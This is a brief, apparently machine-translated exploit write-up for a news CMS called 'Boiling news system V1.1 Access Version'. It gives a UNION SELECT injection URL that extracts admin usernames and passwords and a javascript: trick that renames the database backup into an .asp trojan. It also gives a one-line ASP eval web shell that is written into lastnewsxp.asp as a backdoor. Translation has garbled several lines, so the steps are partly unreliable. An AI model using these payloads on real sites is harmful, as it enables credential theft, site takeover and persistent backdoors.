Boiling news system V1.1 Access Version finish (SP2) injection and exploitation

+ News. asp? Click = 1 & Shu = 20 1 as newsid, username as title, 3 as updatetime, passwd as click, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17,18, 19,20,, 22, 26, 29 from Admin Union select Top 2

Add in "image and Text Management" in the backgroundArticleUpload a flash file
Point additional management backup Compression
The database address is read-only.
Open the recover Database window. IE Input
Javascript: alert({frames}'list'{.doc ument. Forms [0]. backpath. value = "/data/X. asp ");
You can customize the trojan address.

You can also add an article in the background titled <% eval request (CHR (120) %>
Then access createasp. asp to update the lastnewsxp. asp file.
The backdoor is written to lastnewsxp. asp.